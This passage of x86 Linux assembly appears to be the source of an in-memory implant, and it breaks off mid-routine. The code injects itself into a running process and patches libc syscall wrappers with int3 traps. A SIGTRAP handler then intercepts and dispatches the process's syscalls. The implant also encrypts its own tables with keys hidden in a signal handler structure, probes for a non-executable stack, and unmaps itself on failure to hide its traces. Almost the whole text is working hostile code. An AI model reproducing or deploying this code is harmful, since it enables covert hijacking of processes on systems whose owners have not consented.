%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg2-gdelta]
call write_logfile
popad
%endif
.set_globals: mov dword[ebp+link_map-gdelta],ecx ; clean link_map var
lea eax,[ebp+mpfr_struct-gdelta] ; maps = &mpfr_struct, used
mov dword[ebp+maps-gdelta],eax ; by sosr() & mpfr() routines
lea eax,[ebp+eraseme-gdelta] ; if any error is produced, the code
mov dword[ebp+sdr-gdelta],eax ; jump to the "self-deleting routine"
%ifdef TEST_SDR
call [ebp+sdr-gdelta] ; test sdr
%endif
; check error routines:
lea eax,[ebp+ckerr_zero-gdelta]
mov dword[ebp+ckfunc-gdelta],eax ; for functions
lea eax,[ebp+ckerr_sone-gdelta]
mov dword[ebp+cksys-gdelta],eax ; for syscalls
mov eax,[ebp+code_address-gdelta]
add eax,[ebp+room_size-gdelta]
sub eax,ade_flagtable_size ; get&save ade flagtable address
mov dword[ebp+ade_flagtable-gdelta],eax ; placed at the end of the segment
sub eax,ade_dstruct_size ; get&save ade disasm struct address
mov dword[ebp+ade_dstruct-gdelta],eax ; placed just before the flagtable
.noexec_detect: mov edx,ecx ; non-exec stack detection code:
.get_segvhndl: push byte 4 ; get current sigsegv handler
pop ecx
.clean_sigact2: push edx ; sigact struct
loop .clean_sigact2
mov edx,esp ; edx = oldact, ecx = 0
push byte sigsegv
pop ebx
push byte sc_sigaction
pop eax
int 80h
call [ebp+cksys-gdelta]
pop eax ; save oldact->handler
mov dword[ebp+orig_segvhndl-gdelta],eax
.set_segvhndl: xchg ecx,edx ; ecx = act , edx = 0
lea eax,[ebp+.sigsegv_hndl-gdelta]
push eax ; act->handler
push byte sc_sigaction ; register .sigsegv_hndl code
pop eax ; as the sigsegv handler
int 80h
call [ebp+cksys-gdelta]
pop eax
; stack layout: [ret(1b)][.test_noexec(vaddr4b)]
.gen_segfault: xor eax,eax ; eax = nonexec stack flag (nxsf)
lea esi,[esp-(1+_push)] ; esi points to "ret" instruction into the stack (esp-1-4)
mov byte[esi],byte _retinst ; put "ret" instr and
call esi ; jump to it = inserts .test_noexec vaddr
.test_noexec: cmp eax,nxsf ; this test if a segfault was produced or not:
jne .rest_segvhndl ; eax != nxsf: exec stack, noexec = 0 (default)
inc byte [ebp+noexec-gdelta] ; eax = nxsf: non exec stack (segfault), noexec = 1
jmp .rest_segvhndl
.sigsegv_hndl: mov edi,esp ; just change eip & eax registers of previous ctx
call getDelta ; if this code is being executed a segfault was produced so
mov dword[edi+sigfrm_ctx_eax],nxsf ; stack is not executable : set flag
lea eax,[ebp+.test_noexec-gdelta]
mov dword[edi+sigfrm_ctx_eip],eax ; change eip to points at ".test_noexec"
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg3-gdelta]
call write_logfile
popad
%endif
ret ; (sigeturn)
.rest_segvhndl: push dword [ebp+orig_segvhndl-gdelta]; act->handler = orig sigsegv handler
push byte sc_sigaction ; ecx = act, edx = 0
pop eax
int 80h ; restore orig handler
add esp,byte (4*_push)
call [ebp+cksys-gdelta]
push byte (sosr_flag_elf32sym+sosr_flag_onetbl)
lea eax, [ebp+magic_table-gdelta]
push eax
push eax
call rslv_libcsyms ; locate syscall wrappers
add esp,byte(3*_push)
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg4-gdelta]
call write_logfile
popad
%endif
call patch_scw ; patch syscall wrappers
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg5-gdelta]
call write_logfile
popad
%endif
call setup_tsd ; prepare TSD
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg6-gdelta]
call write_logfile
popad
%endif
push sosr_flag_twotbl
lea eax,[ebp+func_vatbl-gdelta]
push eax
lea eax,[ebp+func_hashtbl-gdelta]
push eax
call rslv_libcsyms
add esp,(3*_push)
%ifdef DBG
pushad
push byte 7Fh
pop eax
sub esp,eax
mov ecx,esp
push dword[ebp+code_address-gdelta]
lea ebx,[ebp+dbug_msg0-gdelta]
push ebx
push eax
push ecx
call [ebp+va_snprintf-gdelta]
pop ecx
call write_logfile
add esp,(7Fh+_push*3)
popad
%endif
lea ecx,[ebp+mpfr_struct-gdelta]
push ecx
call mpfr_close ; close mpfr
pop eax
mov byte[ebp+installed-gdelta],dl ; instalation was success
%ifdef
call close_logfile ; close log_file
%endif
eraseme: ; --[ eraseme routine ]-----------------: code eraser and context restorer
mov esp,dword[ebp+orig_esp-gdelta] ; place original context into stack:
mov edi,esp ; registers saved by POPAD & POPFD instructions and
mov ecx,(context_size/4) ; a DWORD which contains the next instruction to be
lea esi,[ebp+context-gdelta] ; executed, the value at the point in which flow
rep movsd ; was interrupted (orig EIP)
add cl,byte 1 ; if the routine was called because of a critical
installed equ $-1 ; error, unmap the segment which contains the code
jecxz restctx ; if not, it is last part of the instalation procedure
mov ecx,[ebp+noexec-gdelta] ; if stack is no executable
dec ecx ; , does not unmap, restore only
jecxz restctx
lea esi,[ebp+eraser-gdelta] ; copy eraser & restctx routines
mov ecx,(ckerr_zero-eraser) ; into the stack
sub esp,ecx
mov edi,esp
rep movsb
push dword[ebp+orig_esp-gdelta] ; push orig esp
; push munmap arguments:
push dword[ebp+room_size-gdelta] ; arg1: segment size
push dword[ebp+code_address-gdelta] ; arg2: segment starting address
push byte sc_munmap ; sysn: munmap number
; stack layout:
lea edx,[esp+_push*4] ; [sysn|arg1|arg2|esp|(eraser/restctx)code|context]
jmp edx ; time to die '---< esp points to >----| |
; | |
eraser: pop eax ; pop munmap syscall number | |
pop ebx ; pop munmap arg1 | |
pop ecx ; pop munmap arg2 | |
pop esp ; pop esp )----------->-------------------' |
int 80h ; execute munmap, free mem (must not fail!!) |
; |
restctx: popfd ; restore ctx, here esp points to ---------->-----'
popad
ret ; after ret, eip & esp are restored
ckerr_zero: test eax,eax ; test if eax == 0
je eraseme
ret
ckerr_sone: test eax,eax ; test if eax == -1
js eraseme
ret
rslv_libcsyms: ;---[ rslv_libcsyms ]-------------------: resolve one or more symbols
pushad ; of the libc shared object
lea ebx,[ebp+sosr_struct-gdelta]
mov esi,dword[esp+_pparam1] ; arg1 = hashtbl
lodsd
mov [ebx+sosr_hash_table],esi
mov edi,dword[esp+_pparam2] ; arg2 = vatbl
mov [ebx+sosr_va_table],edi
mov [ebx+sosr_sym_count],eax
mov eax,dword[esp+_pparam3] ; arg3 = flags
mov [ebx+sosr_flags],eax
lea eax,[ebp+libcso_map_names-gdelta]
mov [ebx+sosr_map_names],eax
lea eax,[ebp+libcso_lkm_names-gdelta]
mov [ebx+sosr_lkm_names],eax
push ebx
call sosr
pop ebx
popad
ret
patch_scw: ;---[ patch_scw routine ]---------------:
pushad
.find_seg: lea eax,[ebp+libcso_map_names-gdelta]
push eax ; name list
lea eax,[ebp+mpfr_struct-gdelta]
push eax ; *mpfr
call mpfr_search_by_names ; get map entry of libc's text segment
add esp,(2*_push)
test eax,eax
je .seg_notfound
.check_seg: mov ebx,dword elf_magic ; check if the entry
bswap ebx ; found is a text segment
mov ecx,dword[eax+mapent_start]
cmp ebx,dword[ecx]
je .save_seg_info
.seg_notfound: call [ebp+sdr-gdelta] ; seg not found or incorrect: error
.save_seg_info: mov ecx,dword[eax+mapent_size] ; save seg base address & size
mov dword[ebp+libc_text_size-gdelta],ecx
mov ebx,dword[eax+mapent_start]
mov dword[ebp+libc_text_base-gdelta],ebx
.unprotect_seg: push ecx
push ebx
push byte 7h ; enable rwx access
pop edx
push byte sc_mprotect
pop eax
int 80h
call [ebp+cksys-gdelta]
.init_ade: push dword[ebp+ade_flagtable-gdelta] ; address of flagtable
call ade_init ; initialize flagtable
pop eax
push dword[ebp+(magic_table+magic_entnum)-gdelta] ; esp+4 = scw count
lea eax,[ebp+(magic_table+magic_entry)-gdelta]
push eax ; esp+0 = hash table address
.process_scw: mov eax,dword[esp]
mov ebx,dword[eax+magic_address] ; ebx = elf32sym address
mov edx,dword[ebx+elf_sym_size] ; edx = ebx->st_size: sym code size
mov esi,dword[ebx+elf_sym_value] ; esi = ebx->st_value: sym code address
cmp esi,dword[ebp+libc_text_base-gdelta]
jae .va
.rva: add esi,dword[ebp+libc_text_base-gdelta]
.va: lea ebx,[ebp+ssii_table-gdelta] ; ebx = ssii table address
movzx ecx,byte[ebx] ; ecx = ssii count
inc ebx
xor edi,edi
.process_ssii: call insert_hook ; search any ssii within the symbol
add edi,eax ; code and replace them with a hook
mov al,byte[ebx+ssii_next]
add ebx,eax
loop .process_ssii
test edi,edi
jne .next_scw
mov eax,dword[esp] ; none was found
mov byte[eax+magic_code],magic_badentry
.next_scw: add dword[esp],magic_entsize ; next scw, dec counter
dec dword[esp+4]
jne .process_scw
add esp,(2*_push)
.protect_seg: pop ebx ; restore the original
pop ecx ; access protection values
push byte 5
pop edx
push byte sc_mprotect
pop eax
int 80h
call [ebp+cksys-gdelta]
popad
ret
insert_hook: ; search any ssii within the symbol code and
; replace them with hooks. Params:
; edx = code size, esi = code start, ebx = ssii desc
pushad
xor eax,eax
mov [ebp+ssii_found-gdelta],eax ; set found var = 0
; ade_disasm params:
push dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address
push dword[ebp+ade_dstruct-gdelta] ; p2: disasm struct address
push esi ; p1: code address
.next_inst: mov edi,dword[esp+_push] ; disassemble one instruction:
mov word[edi],0404h ; set disasm options = 32 bit code
sub edx,eax ; code size - next instr size (first time eax = 0)
je .ret ; test if end of code
add dword [esp],eax ; point to next instr (first time eax = 0)
.disasm_instr: call ade_disasm ; ret(eax) = instr size
.check_size: cmp al,byte[ebx+ssii_size] ; * first check: compare size
jne .next_inst ; size not equal, try next instr
.check_content: movzx ecx,byte[ebx+ssii_contentsz] ; get bytes to be compared
lea edi,[ebx+ssii_content]
mov esi,dword[esp]
repe cmpsb ; * second check: compare instruction content
jne .next_inst ; code not equal, try next instr
mov dword[ebp+ssii_found-gdelta],1h ; ssii found: found_var = 1
push eax ; save instr size
.patch movzx ecx,byte[ebx+ssii_contentsz] ; respos esi to the first byte
sub esi,ecx ; of the instruction
mov cl,byte[ebx+ssii_size] ; get instruction size
xchg edi,esi
.write_trap: push _trap
pop eax
stosb ; insert trap
push _nop
pop eax
dec ecx
.write_nop: stosb ; insert nops
loop .write_nop
pop eax
jmp .next_inst
.ret: add esp,(3*_push)
mov eax,12345678h
ssii_found equ $-4
mov dword[esp+_pushad_eax],eax
popad
ret
setup_tsd: ;---[ setup_tsd routine ]---------------:
pushad
xor ecx,ecx
.get_traphndl: mov edx,ecx
mov cl, byte 4
.clean_sigact: push edx ; sigaction struct (16b)
loop .clean_sigact
mov edx,esp ; edx = oldact, ecx = 0
push byte sigtrap
pop ebx
push byte sc_sigaction
pop eax
int 80h ; get original sigtrap hanlder
call [ebp+cksys-gdelta]
pop eax
test eax,eax
je .set_traphndl ; oldact->handler = 0, no handler
mov dword [ebp+orig_traphndl-gdelta],eax ; save oldact->handler
.set_traphndl: xchg ecx,edx
lea eax, [ebp+tsd-gdelta]
push eax ; act->handler = new handler address
push byte sc_sigaction ; ecx = act, edx = 0
pop eax
int 80h ; set our sigtrap handler: the TSD
add esp,(4*_push)
call [ebp+cksys-gdelta]
.install_sch: mov ecx,[ebp+(magic_table+magic_entnum)-gdelta]
lea esi,[ebp+(magic_table+magic_entry)-gdelta]
mov edi,esi
.next: xor eax,eax ; register syscall sub-handlers
lodsb
stosb ; get syscall number
call schndl_lookup ; get handler for this syscall = eax
stosd ; save handler address
lodsd
loop .next
%ifdef CRYPT
.gen_keys: mov edx,ecx ; generate a pair of "random" keys
lea ebx,[ebp+dev_random-gdelta]
push byte sc_open ; open /dev/random
pop eax ; mode = 0, flags = O_RDONLY(0)
int 80h
call [ebp+cksys-gdelta]
push byte 4
pop edx
push ecx
mov ecx,esp ; ecx = DWORD *val
xchg ebx,eax ; ebx = /dev/random fd
push byte sc_read ; read a DWORD of random bytes
pop eax
int 80h
call [ebp+cksys-gdelta]
push byte sc_close
pop eax
int 80h ; close /dev/random
call [ebp+cksys-gdelta] ; ret ok = 0
xchg ebx,eax
rdtsc ; rdtsc edx:eax
pop edx ; get DWORD
push ebx
bswap edx
xchg dl,ah ; edx = (1st) key for magic table
xchg dh,al ; eax = (2nd) key for syscall handlers
.save_keys: xchg esi,edx
xchg edi,eax
push esi ; sigact->restorer = 1st key
push ebx ; 0
push ebx ; 0
push esp ; sigact->handler = put any valid vaddr
xchg edx,ebx ; oldact = 0
mov ecx,esp ; act = esp
push byte rt_signal ; runtime signal SIGRTMIN+3+X
pop ebx
push byte sc_sigaction
pop eax
int 80h ; save first key in a runtime signal
mov dword[esp+(3*_push)],edx ; clean key into stack
call [ebp+cksys-gdelta]
add esp,(5*_push)
xchg edx,esi
xchg eax,edi
.encrypt_mtbl: mov dword[ebp+_mtbl_begin_-gdelta],eax ; second key is stored in
xchg eax,edx ; the magic table
lea esi,[ebp+_mtbl_begin_-gdelta]
mov edi,esi
mov ecx,(_mtbl_end_-_mtbl_begin_)/4
call xxor ; encrypt magic table with first key
.encrypt_schnl: xchg eax,edx
lea esi,[ebp+_schndl_begin_-gdelta]
mov edi,esi
mov ecx,(_schndl_end_-_schndl_begin_)/4
call xxor ; encrypt syscall handlers with second key
; eax = edx = 0
%endif
.disable_HEP: ; test the TSD with HEP disabled
xor ecx,ecx
mov dword[ebp+hep-gdelta],ecx ; disable HEP
mov eax,ecx ; eax = 0, test routine
inc ecx ; test routine params:
mov ebx,ecx ; ebx = 1, ecx = 2, edx = 3
inc ecx
mov edx,ecx
inc edx
mov dword[ebp+pid-gdelta],eax ; clean check var
int3 ; ---< internal trap >----------: invoke the TSD in nonÂprotected mode
push byte sc_getpid
pop eax
int 80h ; get current pid
mov esi,eax
cmp eax,dword[ebp+pid-gdelta] ; test if the TSD was executed successfully
je .enable_HEP
call [ebp+sdr-gdelta] ; if eax != pid, TSD failed: error
.enable_HEP: ; test the TSD with HEP enabled (set as default)
mov dword[ebp+hep-gdelta],ebx ; enable HEP
dec ebx
mov dword[ebp+pid-gdelta],ebx ; clean check var
inc ebx
xor eax,eax
int3 ; ---< internap trap >----------: invoke the TSD in protected mode
cmp esi,dword[ebp+pid-gdelta]
jne .ok
call [ebp+sdr-gdelta] ; if edi == pid, TSD failed: error
.ok: popad
ret
tsd: ;---[ trapped syscall dispatcher ]------:
mov edi,esp ; edi = *sigframe
call getDelta ; get delta offset
%ifdef CRYPT
lea eax,[ebp+.sigfrm_ctx-gdelta]
mov dword[eax],edi
.get_key: sub esp,(4*_push) ; get first key, placed in
mov edx,esp ; kernspace, a runtime signal
xor ecx,ecx
push byte rt_signal ; linuxthreads uses the first
pop ebx ; 3 rt_signals
push byte sc_sigaction
pop eax
int 80h
call [ebp+cksys-gdelta]
.decrypt_mtbl: mov eax,dword[edx+sigact_restorer] ; key = act->restorer
mov dword[edx+sigact_restorer],ecx ; act->restorer = 0
add esp,(4*_push)
push eax ; save&crypt 1key
lea esi,[ebp+_mtbl_begin_-gdelta]
mov edi,esi
mov ecx,(_mtbl_end_-_mtbl_begin_)/4
call xxor ; decrypt magic table with first key
mov eax,dword[ebp+_mtbl_begin_-gdelta]
mov dword[ebp+_mtbl_begin_-gdelta],ecx ; clean key into magic table
xor dword[esp],eax
push eax ; save&crypt 2key
xor dword[esp],ebp
.decrypt_schnl: lea esi,[ebp+_schndl_begin_-gdelta]
mov edi,esi
mov ecx,(_schndl_end_-_schndl_begin_)/4
call xxor ; decrypt syscall handlers with second key
lea eax,[ebp+.encrypt_schnl-gdelta]
push eax ; return value
mov edi,12345678h ; edi = sigframe address
.sigfrm_ctx equ $-4
lea eax,[ebp+.check_HEP-gdelta]
jmp eax ; continue handler execution
.encrypt_schnl: xor ecx,ecx ; encrypt again
call getDelta
pop eax
xor eax,ebp ; get second key (eax)
mov [esp-4],ecx
pop ebx ; get first key (ebx)
xor ebx,eax
mov [esp-4],ecx
mov dword[ebp+_mtbl_begin_-gdelta],eax ; save second key into magic table
lea esi,[ebp+_schndl_begin_-gdelta]
mov edi,esi
mov ecx,(_schndl_end_-_schndl_begin_)/4
call xxor ; encrypt syscall handlers
.encrypt_mtbl: xchg eax,ebx
lea esi,[ebp+_mtbl_begin_-gdelta]
mov edi,esi
mov ecx,(_mtbl_end_-_mtbl_begin_)/4
call xxor ; encrypt magic table
ret ; real sigreturn
%endif
.check_HEP: mov eax,dword[edi+sigfrm_ctx_eip] ; handler execution prevention
mov ebx,dword[ebp+libc_text_base-gdelta]
xor edx,edx
cmp edx,dword[ebp+hep-gdelta] ; if HEP is disabled: skip checking
je .dispatch ; if HEP is enabled: only instructions
cmp eax,ebx ; which are part of the libc's text
jb .sigreturn ; segment are allowed to be handled
add ebx,dword[ebp+libc_text_size-gdelta]
cmp eax,ebx
ja .sigreturn
.dispatch: mov ecx,dword[edi+sigfrm_ctx_eax] ; dispatch syscall
lea eax,[ebp+test_schndl-gdelta]
jecxz .do_schndl ; if ecx = 0, run test function
xchg ebx,ecx ; ebx = number of syscall executed
mov ecx,[ebp+(magic_table+magic_entnum)-gdelta] ; ecx = syscall handlers count
lea esi,[ebp+(magic_table+magic_entry)-gdelta] ; esi = magic table address
.get_schndl: xor eax,eax ; search syscall handler
lodsb
xchg edx,eax
lodsd ; get syscall handler address
cmp edx,ebx ; handler found, execute it
je .do_schndl
loop .get_schndl
lea eax,[ebp+def_schndl-gdelta] ; handler not found, use default: def_schndl
.do_schndl: call eax ; execute handler
.sigreturn: ret ; return from signal handler (sigreturn)
def_schndl: ; handler for non-registered syscalls - : the simplest one:
call load_fctx ; - load fctx (scid/args)
int 80h ; - execute syscall
mov dword[edi+sigfrm_ctx_eax],eax ; - restore context
ret
test_schndl: ; used by setup_tsd() to test TSD
call load_fctx
inc eax
cmp bl,al ; ebx = 1
jne .ret
inc al
cmp cl,al ; ecx = 2
jne .ret
inc al
cmp dl,al ; edx = 3
push byte sc_getpid
pop eax
int 80h
mov dword[edi+sigfrm_ctx_eax],eax
mov dword[ebp+pid-gdelta],eax
.ret ret
load_fctx: ; this just loads required regs : eax,ebx,ecx,edx,esi
mov eax,dword[edi+sigfrm_ctx_eax]
mov ebx,dword[edi+sigfrm_ctx_ebx]
mov ecx,dword[edi+sigfrm_ctx_ecx]
mov edx,dword[edi+sigfrm_ctx_edx]
mov esi,dword[edi+sigfrm_ctx_esi]
ret ; edi is not used as argument
xxor: ; xor: eax = key, ecx = size, esi = edi = init buff
mov dword[ebp+.key-gdelta],eax
.next_dword: lodsd
xor eax,12345678h
.key equ $-4
stosd
loop .next_dword
mov dword[ebp+.key-gdelta],ecx ; clean key
mov eax,ecx
ret
;===============================================================================|
; shared object symbol resolver
;===============================================================================|
; sosr struct:
sosr_flags equ 00h ; DWORD : options
sosr_hash_table equ 04h ; PVOID : symbol hash table
sosr_va_table equ 08h ; PVOID ; symbol address table
sosr_sym_count equ 0Ch ; DWORD : num of symbols to be resolved
sosr_base equ 10h ; DWORD : shared object base address
sosr_dynamic equ 14h ; DWORD : dynamic section address
sosr_map_names equ 18h ; PVOID : map name list (gsoinf_by_maps)
sosr_lkm_names equ 1Ch ; PVOID : lkm name list (gsoinf_by_lkm)
sosrsz equ 7*4h ; sosr struct size
sosr_flag_onetbl equ 02h ; use the magic table
sosr_flag_twotbl equ 04h ; use hash & va tables
sosr_flag_elf32sym equ 20h
sosr_flag_libcbase equ 40h
; VOID sosr(sosr *)
sosr: pushad
mov eax,dword[esp+_pparam1] ; eax = *sosr
mov ecx,[eax+sosr_base] ; test if the sosr
jecxz .gsoinf ; struct passed was
mov ecx,[eax+sosr_dynamic] ; previously initialized
jecxz .gsoinf
jmp get_sects ; base & dynamic fields ok
.gsoinf: ; get the shared object base address and the value of its dynamic
; section, these two fields are required in order to resolve any
; symbol. There are two ways of doing it:
gsoinf_by_maps: ; 1A) first method: get info from /proc/PID/mapfile (it uses mpfr API):
; Should work for most linux distros (default)
.get_seg: push dword[eax+sosr_map_names] ; name list
push dword[ebp+maps-gdelta] ; *mpfr
xchg ebx,eax
call mpfr_search_by_names ; search shared object by its name
add esp,(2*_push)
test eax,eax
je gsoinf_by_lkm ; seg not found, try next method
xchg ebx,eax ; seg found = ebx
.check_seg: mov ecx,dword elf_magic ; check if this entry
bswap ecx ; is a text segment
mov edx,dword[ebx+mapent_start]
cmp ecx,dword[edx]
jne gsoinf_by_lkm ; if not, try next method
.get_dyn: mov edx,dword[ebx+mapent_start] ; get the dynamic section
movzx ecx,word[edx+elf_hdr_phnum]
add edx,dword[edx+elf_hdr_phoff]
.next_phdr: cmp byte [edx],elf_phdr_type_dynamic
je .save_base
add edx,byte elf_phdr_entsize
loop .next_phdr
jmp gsoinf_by_lkm ; section not found, try next method
.save_base: push dword[ebx+mapent_start] ; save base address
pop dword[eax+sosr_base]
.get_dyn_vaddr: mov ecx,dword[edx+elf_phdr_vaddr] ; test if phdr->p_vaddr is
cmp ecx,dword[eax+sosr_base] ; an offset
jae .save_dyn
add ecx,dword[eax+sosr_base]
.save_dyn: mov dword[eax+sosr_dynamic],ecx ; save dynamic section address
jmp get_sects ; proceed to the next step
gsoinf_by_lkm: ; 2A) second method: get info from link_map structures:
; Does not work properly with some libc/linker/kernel versions
mov ebx,[ebp+link_map-gdelta] ; get linkmap address
test ebx,ebx ; only once (for same process)
jne .get_lkment ; it was cleaned at "setup"
mov ebx, dword elf_image_base ; ** hardcoded address **
movzx ecx,word[ebx+elf_hdr_phnum] ; ecx = program header table entnum
add ebx,dword[ebx+elf_hdr_phoff] ; eax = program header table
.next_phdr: mov edx,dword[ebx+elf_phdr_vaddr] ; edx = phdr->p_vaddr
cmp byte [ebx],elf_phdr_type_dynamic ; search for dynamic section
je .next_dyn ; dynamic section found
add ebx,byte elf_phdr_entsize
loop .next_phdr
call [ebp+sdr-gdelta] ; dynamic section not found, error
.next_dyn: mov ebx,edx ; search for got section
add edx,byte elf_dyn_entsize
cmp byte[ebx],elf_dyn_tag_pltgot
je .next_got ; got section found
cmp bh,byte[ebx] ; **
jne .next_dyn
call [ebp+sdr-gdelta] ; got section not found, error
.next_got: mov ebx,dword[ebx+4] ; ebx+4 = dyn->dt_val = got
mov ebx,dword[ebx+4] ; got[1] = linkmap, ebx = first entry
mov [ebp+link_map-gdelta],ebx ; save linkmap address
.get_lkment: push dword[ebx+link_map_name] ; get a linkmap entry given
push dword[eax+sosr_lkm_names] ; a list of shared object names
call cmp_name
add esp,(2*_push)
jecxz .save ; entry found, save
mov ebx,[ebx+link_map_next]
test ebx,ebx
jne .get_lkment
call [ebp+sdr-gdelta] ; entry not found, error
.save: push dword[ebx+link_map_base]
pop dword[eax+sosr_base] ; save base address
push dword[ebx+link_map_dyn]
pop dword[eax+sosr_dynamic] ; save dynamic section address
get_sects: ; 2) get some required sections: hash, dynsym, dynstr
mov edx,dword[eax+sosr_dynamic] ; edx: shared object's dynamic section
lea esi,[esp-(3*_push)] ; addresses will be stored into the stack
.search: mov cl,byte[edx+elf_dyn_dtag] ; cl = entry type
test cl,cl
jz .test ; end of dynamic section (DT_NULL entry)
cmp cl, byte 4h
_hash equ 8h
jz .save ; save hash: [esp+8] = _hash
cmp cl, byte 5h
_dynstr equ 4h
jz .save ; save dynsym: [esp+4] = _dynsym
cmp cl, byte 6h
_dynsym equ 0h
jnz .next ; save dynstr: [esp+0] = _dynstr
.save: mov ecx,[edx+elf_dyn_dval] ; "add ecx,[eax+sosr_base]" not required
push ecx ; save address for this section into the stack
.next: add edx,byte elf_dyn_entsize ; continue with next dynamic entry
jmp .search
.test: cmp esi,esp ; check if were 3 push
je get_syms
call [ebp+sdr-gdelta] ; error: some sections could not be found
get_syms: ; 3) get symbols addresses
.set_params: mov edx,dword[eax+sosr_flags]
mov edi,dword[eax+sosr_hash_table]
mov esi,dword[eax+sosr_va_table]
mov ebx,dword[eax+sosr_base]
mov ecx,dword[eax+sosr_sym_count]
.method: test dl,byte sosr_flag_onetbl
jne .onetbl
test dl,byte sosr_flag_twotbl
jne .twotbl
jmp .ret
.onetbl: inc edi ; skip first byte (syscall number)
call resolve ; ret eax: elf32sym struct address or symbol code address
stosd ; save address
loop .onetbl ; resolve next
jmp .ret
.twotbl: call resolve ; resolve symbol
xchg esi,edi
stosd ; save address
lodsd
xchg edi,esi
loop .twotbl
.ret: add esp,(3*_push)
popad
ret
resolve: ; this procedure resolve a shared object symbol by hash:
; params:
; (explicit ones)
; ebx : base address of the shared object
; edi : beginning of a symbol hash table
; ecx : number of entries in the table
; edx : resolver options
; (implicit ones)
; esp + 4 + 8 + 12: hash, dynsyn, dynstr sections
; ret:
; edx = sosr_flag_elf32sym => Elf32_Sym address
; edx = 0 => symbol code address
; *1 num_bucket : hash_table_vaddr + 0 [int]
; buckets : hash_table_vaddr + 8 (vaddr)
; *2 chains : hash_table_vaddr + 8 + num_buket * 4
pushad
mov ebp,edx
mov esi, dword [esp+_pparams+_hash]
xor edx,edx
mov eax, dword [edi]
div dword [esi]
mov ecx, [esi + 4*edx + 8]
mov edx,[esi]
lea esi,[esi + 4*edx + 8]
.next: jecxz .done ; if idx = 0 sym not found
imul eax,ecx,byte 16 ; ent offset: idx * elf32sym size(16b)
add eax,[esp+_pparams+_dynsym] ; eax = offset + dynsym vaddr = elf32sym
mov edx,[eax] ; edx = elf32sym->st_name
add edx,[esp+_pparams+_dynstr] ; edx += dynstr vaddr (sym name)
call elf_hash ; compute hash for symbol name
mov ecx,[esi + 4*ecx] ; get next index in chain
cmp edx,dword[edi] ; compare hashes
jnz .next ; not equal, try next one
test ebp,dword sosr_flag_elf32sym ; save Elf32_Sym addr
jne .save
mov eax,[eax + 4] ; save sym code addr
cmp eax,ebx ; eax->st_value
jae .save
add eax,ebx
.save: mov dword [esp+_pushad_eax],eax
.done: popad
ret
elf_hash: ; elf hash algorithm: edx = string address
pushad
mov esi,edx
xor eax,eax
cdq ; eax = edx = 0
mov bl,byte 0f0h
shl ebx,24
.next: lodsb ; get next char and test
test al,al ; if end of string
je .done
shl edx,4
add edx,eax
mov ecx,edx
and ecx,ebx
jz .j1
mov edi,ecx
shr edi,24
xor edx,edi
.j1: not ecx
and edx,ecx
jmp .next
.done: mov dword [esp+_pushad_edx],edx ; edx = hash value
popad
ret
cmp_name: ; compare a name with a list of given strings
pushad
mov ebp,[esp+_pparam1] ; str list
mov ebx,[esp+_pparam2] ; name
mov ecx,[ebp]
.next_name: jecxz .not_found
xchg ecx,edx
lea esi,[ebp+_dword+4]
mov ecx,[ebp+_dword+0]
add ebp,ecx
mov edi,ebx
repe cmpsb
je .found ; ecx = 0 (name match)
xchg edx,ecx
loop .next_name
.not_found: inc ecx
.found: popad
ret
;===============================================================================|
; map file reader
;===============================================================================|
; mpfr struct:
mpfr_list equ 00h ; PMAPENT : first mapentry (linked list head)
mpfr_path equ 04h ; LPSTR : mapfile path: /proc/X/maps
mpfr_count equ 08h ; DWORD : number of maps
mpfr_blk_list equ 0Ch ; PDWORD : number of mapent_blocks allocated
mpfr_blk_size equ 10h ; DWORD : mapent_block size (default : 4096b|1000h)
; map entry struct:
mapent_start equ 00h ; DWORD : beginning of segment
mapent_end equ 04h ; DWORD : ending of segment
mapent_size equ 08h ; DWORD : segment size
mapent_flags equ 0Ch ; DWORD : segment type and options
mapent_name equ 10h ; LPSTR : segment name (shared objects only)
mapent_namesz equ 14h ; DWORD : segment name size
mapent_next equ 18h ; PMAPENT : next entry
mapentsz equ 7*4 ; mapent struct size
; segment options:
sprot_read equ 01h ; segment can be read: (r--)
sprot_write equ 02h ; segment can be written: (-w-)
sprot_exec equ 04h ; segment can be executed: (--x)
sprot_shared equ 08h ; segment is a shared memory area
; segment types:
stype_stack equ 10h ; stack segment: [stack]
stype_vdso equ 20h ; vdso segment: [vdso]
stype_heap equ 40h ; heap segment: [heap]
max_num_blks equ 10 ; should be enough (10*blk_size)
blk_size equ 1000h ; 4096b
; DWORD mpfr_open(mpfr *)
mpfr_open: pushad
mov ebp,dword [esp+_pparam1] ; ebp = *mpfr
xor ecx,ecx
mov dword [ebp+mpfr_list],ecx
mov dword [ebp+mpfr_count],ecx ; clean some fields
mov dword [ebp+mpfr_blk_list],ecx
.open_maps: mov ebx,[ebp+mpfr_path] ; read-only (ecx =0)
push byte sc_open ; open mapsfile
pop eax
int 80h
push eax ; save mpf_fd
.get_size: mov edx,512 ; get size of file
sub esp,edx ; , we can not use stat()
mov ecx,esp ; or mmap()
mov ebx,eax
xor edi,edi ; counter
.next_blk: push byte sc_read
pop eax
int 80h
add edi,eax
test eax,eax
jne .next_blk
add esp,edx ; round up the size
dec eax ; to the next 0x1000
shr eax,20 ; boundary (eax = 0)
add edi,eax
not eax
and edi,eax
.map_size: xor edx,edx
push edx
dec edx
push edx
push byte 22h
push byte 7
push edi
inc edx
push edx
mov ebx,esp
push byte sc_mmap ; map memory for mapfile
pop eax ; it cannot be mapped directly
int 80h
xchg esi,eax ; esi = first byte (p)
add esp,(_push*6)
mov ecx,edx ; ecx = edx => SEEK_SET(0)
pop ebx ; mpf_fd
push byte sc_lseek ; respos data pointer
pop eax
int 80h ; ret = eax = 0
.get_data: mov edx,512 ; read map file and store
mov ecx,esi ; it into the previously
.nnext_blk: add ecx,eax ; mapped memory area
push byte sc_read
pop eax
int 80h
test eax,eax
jne .nnext_blk
call alloc_blk ; allocate initial mapent_block
mov edx,eax
add edx,[ebp+mpfr_blk_size] ; edx = end of current block
add eax,(4+max_num_blks*4) ; first block header: number of blocks and array of pointers
mov [ebp+mpfr_list],eax ; first entry
mov edi,eax ; edi = first ENTRY
.get_map: inc dword [ebp+mpfr_count] ; inc map counter
push esi
call str2ulong
pop eax
mov [edi+mapent_start],eax ; ENT->start
add esi,byte 9
push esi
call str2ulong
pop ebx
mov [edi+mapent_end],ebx ; ENT->end
add esi,byte 9
sub ebx,eax
